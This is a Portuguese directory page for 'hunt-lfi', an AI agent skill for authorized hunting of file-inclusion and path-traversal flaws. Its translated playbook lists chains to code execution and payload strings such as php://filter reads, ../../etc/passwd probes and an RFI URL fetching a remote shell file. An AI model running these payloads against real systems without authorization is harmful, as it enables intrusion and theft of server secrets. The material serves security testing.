Pular para o conteúdo
Skillpedia
Diversos48 mil · #3270

hunt-lfi

Faz seu agente procurar por falhas de inclusão de arquivos locais e remotas. Ajuda a prevenir que código malicioso seja executado.

O que ela faz

Este agente de IA ajuda a encontrar vulnerabilidades em sites que permitem que invasores leiam arquivos sensíveis ou executem código malicioso. Ele procura por falhas específicas chamadas LFI (Local File Inclusion), RFI (Remote File Inclusion) e Path Traversal.

Quando usar

  • ✓Ao testar a segurança de um site com permissão.
  • ✓Para aprender sobre como falhas de segurança funcionam.
  • ✓Ao realizar uma auditoria de segurança autorizada.

Exemplo do que pedir para a IA

“Procure por falhas de inclusão de arquivos no site example.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-lfi/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-lfi/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Ele tenta inserir caminhos de arquivo especiais em parâmetros de URL ou dados enviados para o site. Se o site for vulnerável, ele pode revelar o conteúdo de arquivos do servidor ou até mesmo executar comandos.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-lfi

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-lfi/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar a URL exata do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-LFI — Inclusão de Arquivo Local / Remoto e Travessia de Caminho

Alvos de Joia da Coroa

LFI que atinge a execução de código é Crítico. A simples leitura de arquivo é Alta quando expõe segredos (.env, wp-config.php, chaves privadas, credenciais de nuvem), Média quando apenas lê arquivos não sensíveis.

Cadeias de maior valor (em ordem aproximada de confiabilidade em 2026):

  • PHP filter-chain → RCE — o padrão moderno. Uma primitiva de leitura de arquivo php://filter simples é atualizada para RCE sem endpoint de upload e sem arquivo gravável encadeando conversões iconv para forjar um payload PHP arbitrário em memória (Synacktiv, 2022). Veja a seção dedicada abaixo. Esta é a coisa mais impactante para tentar e a mais perdida.
  • Log poisoning → RCE — injete PHP em um log do Apache/Nginx (User-Agent / caminho da URL), em seguida, inclua o log. Cada vez mais bloqueado por open_basedir e permissões de log ilegíveis, portanto, verifique se o log é legível primeiro.
  • PHP wrappers → divulgação de código-fonte — php://filter/convert.base64-encode/resource=index.php vaza o código-fonte; leia o código-fonte para encontrar mais sinks LFI, segredos e o caminho base de inclusão.
  • RFI → RCE — quando allow_url_include=On, ?file=http://OOB/shell.txt busca e executa código remoto. Raro em configurações modernas, mas trivialmente Crítico quando presente.
  • phar:// deserialization — um PHAR criado + qualquer sink de metadados que deserializa → injeção de objeto RCE.
  • zip:// / data:// chains e session/upload poisoning quando os filtros bloqueiam wrappers.

Portão de Confirmação OOB / Blind-LFI (Leia Primeiro)

LFI é frequentemente cego: o conteúdo incluído é analisado/executado, mas nunca refletido, ou a página engole o arquivo em um template que você não pode ver. Não reivindique LFI apenas de sinais indiretos.

O que NÃO é confirmação

  • Um código de status ou string de erro diferente para ../../etc/passwd vs um valor normal. O aplicativo pode estar comparando a string ../ e retornando um 403/500 pré-definido sem nunca tocar no sistema de arquivos.
  • Sua entrada ecoada dentro de uma mensagem de erro (por exemplo, failed to open '/var/www/../../etc/passwd'). Esse é o formatador do caminho, não prova que o arquivo foi lido. Uma leitura genuína mostra o conteúdo do arquivo, não seu caminho.
  • Uma página que "parece diferente". Páginas de reflexão de entrada ou bloqueio de WAF produzem diferenças não relacionadas a uma leitura real.

O que É confirmação

  • Leitura direta: o conteúdo real do arquivo aparece (linha real root:x:0:0:, código-fonte PHP real após a decodificação base64 da saída do filtro).
  • Leitura cega via exfil OOB: use um php://filter ou uma cadeia no estilo XXE cujo payload execute um callback DNS/HTTP para seu subdomínio Burp Collaborator, ou use um expect:// / wrapper que acione uma solicitação de saída. Um hit do Collaborator exclusivo por sink (DNS + HTTP, com o IP de origem do servidor) prova que a inclusão foi executada.
  • Leitura cega via diferencial/tempo: inclua um arquivo que você sabe que existe e é grande (/etc/passwd) versus um que não existe (/etc/passwd_nope_<rand>). Um delta de comprimento de resposta ou latência estável e repetível = acesso real ao sistema de arquivos. Confirme com um terceiro caminho conhecido como bom para descartar coincidência.

Fluxo de trabalho padrão

  1. Escolha um alvo de marcador exclusivo: prefira um arquivo cujo conteúdo você possa identificar exatamente (/etc/passwd → grep ^root:). Para cego, use uma leitura base64 do php://filter e decodifique — base64 parcial/truncada ainda decodifica para código-fonte reconhecível.
  2. Gere um payload do Collaborator com sub-tags por sink (lfi-page.<collab>, lfi-tpl.<collab>) para que os callbacks identifiquem qual parâmetro disparou.
  3. Envie, aguarde 30–120s, consulte OOB.

…

Perguntas frequentes

O que é LFI/RFI/Path Traversal?

São tipos de falhas de segurança. LFI permite que um invasor leia arquivos do servidor local. RFI permite que um invasor faça o servidor baixar e executar um arquivo de outro servidor. Path Traversal permite que um invasor navegue pela estrutura de pastas do servidor.

Preciso de permissão para usar esta ferramenta?

Sim, você precisa de permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. Usá-la sem permissão é ilegal.

Como sei se a ferramenta encontrou algo?

A ferramenta tentará mostrar o conteúdo de arquivos do servidor ou confirmar se um comando foi executado. Ela exige confirmação explícita antes de tentar qualquer ação que possa alterar ou acessar dados.

Detalhes

Descrição original do autor

Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3270
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas